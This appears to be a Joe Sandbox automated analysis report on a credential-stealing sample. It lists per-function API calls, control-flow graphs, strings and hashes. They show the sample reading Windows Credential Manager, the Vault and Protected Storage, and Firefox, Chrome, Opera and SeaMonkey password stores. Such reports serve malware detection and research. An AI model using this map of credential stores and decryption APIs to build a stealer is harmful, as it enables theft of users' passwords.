410655-41065c 117->125 126 41064e 117->126 120->94 120->96 125->106 127 410676-4106b6 memset wcslen * 2 125->127 126->125 128 4106d3 127->128 129 4106b8-4106d1 call 4076a9 127->129 131 4106da-410708 call 4083e1 128->131 129->131 135 410785-410792 call 408441 131->135 138 410798-41079e call 4084da 135->138 139 41070a-410717 call 40839d 135->139 138->27 139->135 143 410719-41073d wcslen * 2 139->143 144 41075a 143->144 145 41073f-410758 call 4076a9 143->145 147 410761-410770 call 407548 144->147 145->147 147->135 151 410772-410780 call 4421eb 147->151 151->135
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004101DA
                                                                                                              • wcsrchr.MSVCRT ref: 004101F2
                                                                                                              • memset.MSVCRT ref: 004102D9
                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Sea Monkey,00000000,00000104), ref: 00410326
                                                                                                                • Part of subcall function 00409A34: _wcslwr.MSVCRT ref: 00409AFC
                                                                                                                • Part of subcall function 00409A34: wcslen.MSVCRT ref: 00409B11
                                                                                                                • Part of subcall function 00408619: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 00408652
                                                                                                                • Part of subcall function 00408619: wcslen.MSVCRT ref: 00408678
                                                                                                                • Part of subcall function 00408619: wcsncmp.MSVCRT(?,?,?,?,00000000,?), ref: 004086AE
                                                                                                                • Part of subcall function 00408619: memset.MSVCRT ref: 00408725
                                                                                                                • Part of subcall function 00408619: memcpy.MSVCRT ref: 00408746
                                                                                                                • Part of subcall function 00409EB8: LoadLibraryW.KERNEL32(pstorec.dll,00000000,004101A5,?,?,?,?,?,0040328B,?), ref: 00409EC9
                                                                                                                • Part of subcall function 00409EB8: GetProcAddress.KERNEL32(00000000,PStoreCreateInstance,?,?,0040328B,?), ref: 00409EDC
                                                                                                                • Part of subcall function 0040F2E6: memset.MSVCRT ref: 0040F309
                                                                                                                • Part of subcall function 0040F2E6: memset.MSVCRT ref: 0040F31E
                                                                                                                • Part of subcall function 0040F2E6: memset.MSVCRT ref: 0040F333
                                                                                                                • Part of subcall function 0040F2E6: memset.MSVCRT ref: 0040F348
                                                                                                                • Part of subcall function 0040F2E6: memset.MSVCRT ref: 0040F35D
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F383
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F394
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F3CC
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F3DA
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F413
                                                                                                                • Part of subcall function 0040F2E6: wcslen.MSVCRT ref: 0040F421
                                                                                                              • memset.MSVCRT ref: 004103AA
                                                                                                              • memset.MSVCRT ref: 004103C6
                                                                                                              • memset.MSVCRT ref: 004103E2
                                                                                                              • memset.MSVCRT ref: 004104F9
                                                                                                                • Part of subcall function 00406DD9: memset.MSVCRT ref: 00406E17
                                                                                                                • Part of subcall function 00406DD9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,?,00000000,?), ref: 00406E30
                                                                                                                • Part of subcall function 00406DD9: memset.MSVCRT ref: 00406E69
                                                                                                                • Part of subcall function 00406DD9: memset.MSVCRT ref: 00406E81
                                                                                                                • Part of subcall function 00406DD9: memset.MSVCRT ref: 00406E99
                                                                                                                • Part of subcall function 00406DD9: memset.MSVCRT ref: 00406EB1
                                                                                                                • Part of subcall function 00406DD9: wcslen.MSVCRT ref: 00406EBC
                                                                                                                • Part of subcall function 00406DD9: wcslen.MSVCRT ref: 00406ECA
                                                                                                                • Part of subcall function 00406DD9: wcslen.MSVCRT ref: 00406EF9
                                                                                                                • Part of subcall function 00406DD9: wcslen.MSVCRT ref: 00406F07
                                                                                                              • wcslen.MSVCRT ref: 00410437
                                                                                                              • wcslen.MSVCRT ref: 00410446
                                                                                                              • wcslen.MSVCRT ref: 0041048B
                                                                                                              • wcslen.MSVCRT ref: 0041049A
                                                                                                              • memset.MSVCRT ref: 00410562
                                                                                                              • memset.MSVCRT ref: 0041057A
                                                                                                              • wcslen.MSVCRT ref: 00410593
                                                                                                              • wcslen.MSVCRT ref: 004105A1
                                                                                                              • wcslen.MSVCRT ref: 004105FC
                                                                                                              • wcslen.MSVCRT ref: 0041060A
                                                                                                              • memset.MSVCRT ref: 0041068A
                                                                                                              • wcslen.MSVCRT ref: 00410699
                                                                                                              • wcslen.MSVCRT ref: 00410720
                                                                                                              • wcslen.MSVCRT ref: 0041072E
                                                                                                              • wcslen.MSVCRT ref: 004106A7
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                                • Part of subcall function 0040839D: wcscmp.MSVCRT ref: 004083BC
                                                                                                                • Part of subcall function 0040839D: wcscmp.MSVCRT ref: 004083CD
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$memset$wcscmp$AddressByteCharCredEnumerateEnvironmentExpandLibraryLoadMultiProcStringsWide_wcslwrmemcpywcscatwcscpywcsncmpwcsrchr
                                                                                                              • String ID: %programfiles%\Sea Monkey$Google\Chrome SxS\User Data$Google\Chrome\User Data$Opera$Opera\Opera7\profile\wand.dat$Opera\Opera\wand.dat$Path$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe$wand.dat
                                                                                                              • API String ID: 3717286792-109336846
                                                                                                              • Opcode ID: f13f96fbde304a81fdc24d66a109aaecf4b7903a0817bb42302798235a986fce
                                                                                                              • Instruction ID: 5236af18994b30efd903e1d9b734594bd5ee8d83944705dbeea0fe3cf72f0f99
                                                                                                              • Opcode Fuzzy Hash: f13f96fbde304a81fdc24d66a109aaecf4b7903a0817bb42302798235a986fce
                                                                                                              • Instruction Fuzzy Hash: A0F17771901218ABDB20EB51DD85ADEB378AF04714F5444ABF508A7181E7B8AFC4CF9E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FAFF Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 124libraryloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040FB20
                                                                                                              • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 0040FB69
                                                                                                              • SetCurrentDirectoryW.KERNELBASE(?,?,?,00000000), ref: 0040FB76
                                                                                                              • memset.MSVCRT ref: 0040FB90
                                                                                                              • wcslen.MSVCRT ref: 0040FB9D
                                                                                                              • wcslen.MSVCRT ref: 0040FBAC
                                                                                                              • GetModuleHandleW.KERNELBASE(?,?,?,?,?,?,00000000), ref: 0040FBE7
                                                                                                              • LoadLibraryExW.KERNELBASE(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0040FC03
                                                                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0040FC1A
                                                                                                              • GetProcAddress.KERNEL32(?,NSS_Init,?,?,?,?,?,00000000), ref: 0040FC2F
                                                                                                              • GetProcAddress.KERNEL32(?,NSS_Shutdown,?,?,?,?,?,00000000), ref: 0040FC3B
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot,?,?,?,?,?,00000000), ref: 0040FC47
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_FreeSlot,?,?,?,?,?,00000000), ref: 0040FC53
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_CheckUserPassword,?,?,?,?,?,00000000), ref: 0040FC5F
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_Authenticate,?,?,?,?,?,00000000), ref: 0040FC6B
                                                                                                              • GetProcAddress.KERNEL32(?,PK11SDR_Decrypt,?,?,?,?,?,00000000), ref: 0040FC77
                                                                                                                • Part of subcall function 0040648C: memset.MSVCRT ref: 004064AD
                                                                                                                • Part of subcall function 0040648C: memset.MSVCRT ref: 004064FA
                                                                                                                • Part of subcall function 0040648C: RegCloseKey.ADVAPI32(0040FB38), ref: 00406634
                                                                                                                • Part of subcall function 0040648C: wcscpy.MSVCRT ref: 00406642
                                                                                                                • Part of subcall function 0040648C: ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104,?,?,?,?,00000000,?), ref: 00406659
                                                                                                                • Part of subcall function 0040648C: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000000,?), ref: 00406695
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$memset$CurrentDirectory$LibraryLoadwcslen$CloseEnvironmentExpandHandleModuleStringswcscpy
                                                                                                              • String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_CheckUserPassword$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
                                                                                                              • API String ID: 2554026968-4029219660
                                                                                                              • Opcode ID: 7b5db3b0d5bf1743c32fccddbb21aa02e391161234974de8ca04521cdbb317a2
                                                                                                              • Instruction ID: eeb2f36212a21d3aa086fe7dd3a0485c0e35c5a93e030d286215ed8b11f998db
                                                                                                              • Opcode Fuzzy Hash: 7b5db3b0d5bf1743c32fccddbb21aa02e391161234974de8ca04521cdbb317a2
                                                                                                              • Instruction Fuzzy Hash: 15418371940309ABEB209F61CC85E9AB7F8BF58744F10087EE58593191EBB999848F58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E2F1 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 148COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                                • Part of subcall function 00403926: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040E305,00000000), ref: 00403945
                                                                                                                • Part of subcall function 00403926: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx,?,00000002,?,?,?,0040E305,00000000), ref: 00403957
                                                                                                                • Part of subcall function 00403926: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040E305,00000000), ref: 0040396B
                                                                                                                • Part of subcall function 00403926: MessageBoxW.USER32 ref: 00403996
                                                                                                              • SetErrorMode.KERNELBASE(00008001,00000000,?,00000002), ref: 0040E319
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,00411F7E,00000000,?,00000002), ref: 0040E332
                                                                                                              • EnumResourceTypesW.KERNEL32(00000000,?,00000002), ref: 0040E339
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040E4CB
                                                                                                              • DeleteObject.GDI32(?), ref: 0040E4E1
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$??3@AddressDeleteEnumErrorFreeHandleLoadMessageModeModuleObjectProcResourceTypes
                                                                                                              • String ID: $/deleteregkey$/savelangfile
                                                                                                              • API String ID: 3591293073-28296030
                                                                                                              • Opcode ID: c7f6c6ad16e89a48cb0e0d64ac08aa0b3efbd1f5f4a19e75b38d6438d40399e7
                                                                                                              • Instruction ID: 121834c48f7c844bba9a1922674ad86b62a86fe916e360ab8a1a69ef7a5829fa
                                                                                                              • Opcode Fuzzy Hash: c7f6c6ad16e89a48cb0e0d64ac08aa0b3efbd1f5f4a19e75b38d6438d40399e7
                                                                                                              • Instruction Fuzzy Hash: 5451B171408345ABD720AFA2DD4895FB7A8FF84709F000D3EF640A3191DB79D9158B2A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406DD9 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 222COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 281 406dd9-406dfd call 40faff 284 406e03-406e3b memset WideCharToMultiByte 281->284 285 407087 281->285 287 406e49 284->287 288 406e3d-406e47 284->288 286 40708e-407095 285->286 289 406e4c-406e4e 287->289 288->289 291 406e54-406ed6 memset * 4 wcslen * 2 289->291 292 40707e-407085 289->292 293 406ed8-406eed call 4076a9 291->293 294 406eef 291->294 295 40706c-40706e 292->295 298 406ef6-406f13 wcslen * 2 293->298 294->298 295->286 296 407070-40707c SetCurrentDirectoryW 295->296 296->286 300 406f15-406f2a call 4076a9 298->300 301 406f2c 298->301 303 406f33-406f50 wcslen * 2 300->303 301->303 305 406f52-406f67 call 4076a9 303->305 306 406f69 303->306 308 406f70-406f8d wcslen * 2 305->308 306->308 310 406fa6 308->310 311 406f8f-406fa4 call 4076a9 308->311 313 406fad-406fbe call 407548 310->313 311->313 317 406fc0-406fd5 call 40697e 313->317 318 406fda-406fe9 call 407548 313->318 325 40705d-407065 317->325 323 407002-407011 call 407548 318->323 324 406feb-406ffd call 406b9f 318->324 331 407013-407025 call 406b9f 323->331 332 40702a-407039 call 407548 323->332 324->323 326 407067 325->326 327 407069 325->327 326->327 327->295 331->332 336 407052-407054 332->336 337 40703b-40704d call 406b9f 332->337 336->325 339 407056 336->339 337->336 339->325
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040FAFF: memset.MSVCRT ref: 0040FB20
                                                                                                                • Part of subcall function 0040FAFF: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 0040FB69
                                                                                                                • Part of subcall function 0040FAFF: SetCurrentDirectoryW.KERNELBASE(?,?,?,00000000), ref: 0040FB76
                                                                                                                • Part of subcall function 0040FAFF: memset.MSVCRT ref: 0040FB90
                                                                                                                • Part of subcall function 0040FAFF: wcslen.MSVCRT ref: 0040FB9D
                                                                                                                • Part of subcall function 0040FAFF: wcslen.MSVCRT ref: 0040FBAC
                                                                                                                • Part of subcall function 0040FAFF: GetModuleHandleW.KERNELBASE(?,?,?,?,?,?,00000000), ref: 0040FBE7
                                                                                                                • Part of subcall function 0040FAFF: LoadLibraryExW.KERNELBASE(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0040FC03
                                                                                                                • Part of subcall function 0040FAFF: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0040FC1A
                                                                                                                • Part of subcall function 0040FAFF: GetProcAddress.KERNEL32(?,NSS_Init,?,?,?,?,?,00000000), ref: 0040FC2F
                                                                                                                • Part of subcall function 0040FAFF: GetProcAddress.KERNEL32(?,NSS_Shutdown,?,?,?,?,?,00000000), ref: 0040FC3B
                                                                                                                • Part of subcall function 0040FAFF: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot,?,?,?,?,?,00000000), ref: 0040FC47
                                                                                                                • Part of subcall function 0040FAFF: GetProcAddress.KERNEL32(?,PK11_FreeSlot,?,?,?,?,?,00000000), ref: 0040FC53
                                                                                                                • Part of subcall function 0040FAFF: GetProcAddress.KERNEL32(?,PK11_CheckUserPassword,?,?,?,?,?,00000000), ref: 0040FC5F
                                                                                                              • memset.MSVCRT ref: 00406E17
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,?,00000000,?), ref: 00406E30
                                                                                                              • memset.MSVCRT ref: 00406E69
                                                                                                              • memset.MSVCRT ref: 00406E81
                                                                                                              • memset.MSVCRT ref: 00406E99
                                                                                                              • memset.MSVCRT ref: 00406EB1
                                                                                                              • wcslen.MSVCRT ref: 00406EBC
                                                                                                              • wcslen.MSVCRT ref: 00406ECA
                                                                                                              • wcslen.MSVCRT ref: 00406EF9
                                                                                                              • wcslen.MSVCRT ref: 00406F07
                                                                                                              • wcslen.MSVCRT ref: 00406F36
                                                                                                              • wcslen.MSVCRT ref: 00406F44
                                                                                                              • wcslen.MSVCRT ref: 00406F73
                                                                                                              • wcslen.MSVCRT ref: 00406F81
                                                                                                              • SetCurrentDirectoryW.KERNELBASE(?), ref: 00407074
                                                                                                                • Part of subcall function 0040697E: memset.MSVCRT ref: 004069BD
                                                                                                                • Part of subcall function 0040697E: memset.MSVCRT ref: 00406A3C
                                                                                                                • Part of subcall function 0040697E: memset.MSVCRT ref: 00406A51
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetwcslen$AddressProc$CurrentDirectory$LibraryLoad$ByteCharHandleModuleMultiWide
                                                                                                              • String ID: signons.sqlite$signons.txt$signons2.txt$signons3.txt
                                                                                                              • API String ID: 1908949080-2435954524
                                                                                                              • Opcode ID: 00d903caa4eb60a1b1d619f3f2ea5d5f954a86edb9cfa0049ad989ed505ac937
                                                                                                              • Instruction ID: 8f96e2222c77d76af5181fd0f533d019f0899d465181413e0b466bd376840954
                                                                                                              • Opcode Fuzzy Hash: 00d903caa4eb60a1b1d619f3f2ea5d5f954a86edb9cfa0049ad989ed505ac937
                                                                                                              • Instruction Fuzzy Hash: 8871B07180461AABDB21EF61DC41A9E77BCFF04318F1004AEF909F2181E779AE548F69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040648C Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 173registrytimeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 340 40648c-4064e0 memset call 411b67 343 4064e6-40650d memset 340->343 344 40663a-40664c wcscpy 340->344 345 40661e-40662b call 411bfe 343->345 346 4066ac-4066b7 344->346 347 40664e-406669 ExpandEnvironmentStringsW call 4063c1 344->347 352 406631-406634 RegCloseKey 345->352 353 406512-40652a _wcsnicmp 345->353 354 40666b 347->354 355 40666e-406671 347->355 352->344 356 406530-4065b0 memset * 2 _snwprintf call 411bbc wcsrchr 353->356 357 406611-40661b 353->357 354->355 355->346 358 406673-406684 call 40758c call 4063c1 355->358 364 4065b2 356->364 365 4065b6-4065be 356->365 357->345 369 406686 358->369 370 406689-40668d 358->370 364->365 367 4065c0-4065ca call 4063c1 365->367 368 40660f 365->368 374 4065cf-4065d1 367->374 368->357 369->370 372 4066aa 370->372 373 40668f-4066a5 GetCurrentDirectoryW call 4063c1 370->373 372->346 373->372 380 4066a7 373->380 374->368 376 4065d3-4065e2 CompareFileTime 374->376 378 4065e4-4065ec 376->378 379 4065ee-40660c wcscpy 376->379 378->368 378->379 379->368 380->372
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004064AD
                                                                                                                • Part of subcall function 00411B67: RegOpenKeyExW.KERNEL32 ref: 00411B7A
                                                                                                              • _wcsnicmp.MSVCRT ref: 00406520
                                                                                                              • memset.MSVCRT ref: 00406544
                                                                                                              • memset.MSVCRT ref: 00406560
                                                                                                              • _snwprintf.MSVCRT ref: 00406580
                                                                                                              • wcsrchr.MSVCRT ref: 004065A7
                                                                                                              • CompareFileTime.KERNEL32(?,?,00000000), ref: 004065DA
                                                                                                              • wcscpy.MSVCRT ref: 004065FC
                                                                                                              • memset.MSVCRT ref: 004064FA
                                                                                                                • Part of subcall function 00411BFE: RegEnumKeyExW.KERNEL32(00000000,0040FB38,0040FB38,?,00000000,00000000,00000000,0040FB38), ref: 00411C21
                                                                                                              • RegCloseKey.ADVAPI32(0040FB38), ref: 00406634
                                                                                                              • wcscpy.MSVCRT ref: 00406642
                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104,?,?,?,?,00000000,?), ref: 00406659
                                                                                                              • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000000,?), ref: 00406695
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$wcscpy$CloseCompareCurrentDirectoryEnumEnvironmentExpandFileOpenStringsTime_snwprintf_wcsnicmpwcsrchr
                                                                                                              • String ID: %programfiles%\Mozilla Firefox$%s\bin$PathToExe$SOFTWARE\Mozilla$mozilla
                                                                                                              • API String ID: 1094916163-2797892316
                                                                                                              • Opcode ID: 6fc1e2e3a791b033bf776d6d93ccb5a8b208ad6747335505a9b79a97a3079406
                                                                                                              • Instruction ID: 63e98d9b0590a06fe0611c8d8f76d67a06a86b9579f74a21c863053dc4382b5e
                                                                                                              • Opcode Fuzzy Hash: 6fc1e2e3a791b033bf776d6d93ccb5a8b208ad6747335505a9b79a97a3079406
                                                                                                              • Instruction Fuzzy Hash: F5515472D00218BAEF20EB61DC45ADFB7BCAF04354F0104A6F905F2191EB799B94CB99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408D9D Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 381 408d9d-408dc0 call 4057c4 call 4059f7 385 408dc5-408dc7 381->385 386 408f92-408fa1 call 40580a 385->386 387 408dcd-408df2 385->387 388 408df6-408e08 call 405cf6 387->388 393 408f68-408f75 call 4059ba 388->393 394 408e0e-408e8d call 408801 * 7 memset call 40805c 388->394 399 408df4 393->399 400 408f7b-408f87 call 408037 393->400 418 408ebb-408ec0 394->418 419 408e8f-408ea0 call 406295 394->419 399->388 400->386 407 408f89-408f91 free 400->407 407->386 420 408ec2-408ec8 418->420 421 408ecb-408ed0 418->421 426 408ea2 419->426 427 408ea5-408eb3 wcschr 419->427 420->421 423 408ed2-408ee3 memcpy 421->423 424 408ee6-408eeb 421->424 423->424 428 408f01-408f06 424->428 429 408eed-408efe memcpy 424->429 426->427 427->418 430 408eb5-408eb8 427->430 431 408f08-408f19 memcpy 428->431 432 408f1c-408f21 428->432 429->428 430->418 431->432 433 408f23-408f34 memcpy 432->433 434 408f37-408f3c 432->434 433->434 435 408f50-408f55 434->435 436 408f3e-408f4d 434->436 435->393 437 408f57-408f5b 435->437 436->435 437->393 438 408f5d-408f65 437->438 438->393
                                                                                                              APIs
                                                                                                                • Part of subcall function 004059F7: _wcsicmp.MSVCRT ref: 00405A28
                                                                                                                • Part of subcall function 00405CF6: memset.MSVCRT ref: 00405DF2
                                                                                                              • free.MSVCRT(00000000), ref: 00408F8C
                                                                                                                • Part of subcall function 00408801: _wcsicmp.MSVCRT ref: 0040881A
                                                                                                              • memset.MSVCRT ref: 00408E72
                                                                                                                • Part of subcall function 0040805C: wcslen.MSVCRT ref: 0040806F
                                                                                                                • Part of subcall function 0040805C: memcpy.MSVCRT ref: 0040808E
                                                                                                              • wcschr.MSVCRT ref: 00408EAA
                                                                                                              • memcpy.MSVCRT ref: 00408EDE
                                                                                                              • memcpy.MSVCRT ref: 00408EF9
                                                                                                              • memcpy.MSVCRT ref: 00408F14
                                                                                                              • memcpy.MSVCRT ref: 00408F2F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                                              • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                                              • API String ID: 3849927982-2252543386
                                                                                                              • Opcode ID: 3968a81090f0c90a0f1d759d5c6f86966b5d18dba44d1eb1d150c3d2a019c511
                                                                                                              • Instruction ID: 190f3b00b4426260eb01f26a53b79380eacfea7d83453a492e965ac02b193b52
                                                                                                              • Opcode Fuzzy Hash: 3968a81090f0c90a0f1d759d5c6f86966b5d18dba44d1eb1d150c3d2a019c511
                                                                                                              • Instruction Fuzzy Hash: 64510C72E00309AAEF10EFA5DD45A9EB7B9AF54314F14403FA544F7281EA78AA048F58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004422C7 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 40libraryloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 439 4422c7-4422cb 440 4422cd-44233a LoadLibraryW GetProcAddress * 7 439->440 441 44233b 439->441 440->441
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(vaultcli.dll,?,00000000,00442385,?,00000000,?), ref: 004422D4
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 004422E9
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 004422F6
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 00442303
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultFree), ref: 00442310
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultGetInformation), ref: 0044231D
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0044232B
                                                                                                              • GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 00442334
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$LibraryLoad
                                                                                                              • String ID: VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetInformation$VaultGetItem$VaultOpenVault$vaultcli.dll
                                                                                                              • API String ID: 2238633743-2107673790
                                                                                                              • Opcode ID: 963817e17c3864fb71b6f00927cb3e5fc30341a44c0b645a38e795921616907a
                                                                                                              • Instruction ID: a68d3860b1f677998bacfaa0c7abd00484677722be3dbe7bb4ba7aced869f3e7
                                                                                                              • Opcode Fuzzy Hash: 963817e17c3864fb71b6f00927cb3e5fc30341a44c0b645a38e795921616907a
                                                                                                              • Instruction Fuzzy Hash: CB012874941B04AEEB306F728E88E07BEF4EF94B017108D2EE49A92A10D779A800CE14
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408B10 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120fileCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                                • Part of subcall function 00408836: memset.MSVCRT ref: 0040885E
                                                                                                                • Part of subcall function 00408836: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00408885
                                                                                                                • Part of subcall function 00408836: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 004088C6
                                                                                                                • Part of subcall function 00408836: CloseHandle.KERNELBASE(C0000004), ref: 004088EF
                                                                                                                • Part of subcall function 00408836: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 004088FA
                                                                                                                • Part of subcall function 004085EB: ??2@YAPAXI@Z.MSVCRT ref: 004085F4
                                                                                                              • OpenProcess.KERNEL32(00000040,00000000,?,00000104,00000000,?,00000104,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00408B85
                                                                                                              • GetCurrentProcess.KERNEL32(00000000,80000000,00000000,00000000), ref: 00408BA4
                                                                                                              • DuplicateHandle.KERNEL32 ref: 00408BB1
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 00408BC6
                                                                                                                • Part of subcall function 004074C6: GetTempPathW.KERNEL32(00000104,?), ref: 004074DD
                                                                                                                • Part of subcall function 004074C6: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004074EF
                                                                                                                • Part of subcall function 004074C6: GetTempFileNameW.KERNELBASE(?,00000000,00000000,?), ref: 00407506
                                                                                                                • Part of subcall function 0040715D: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0040716F
                                                                                                              • CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00408BF0
                                                                                                              • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 00408C05
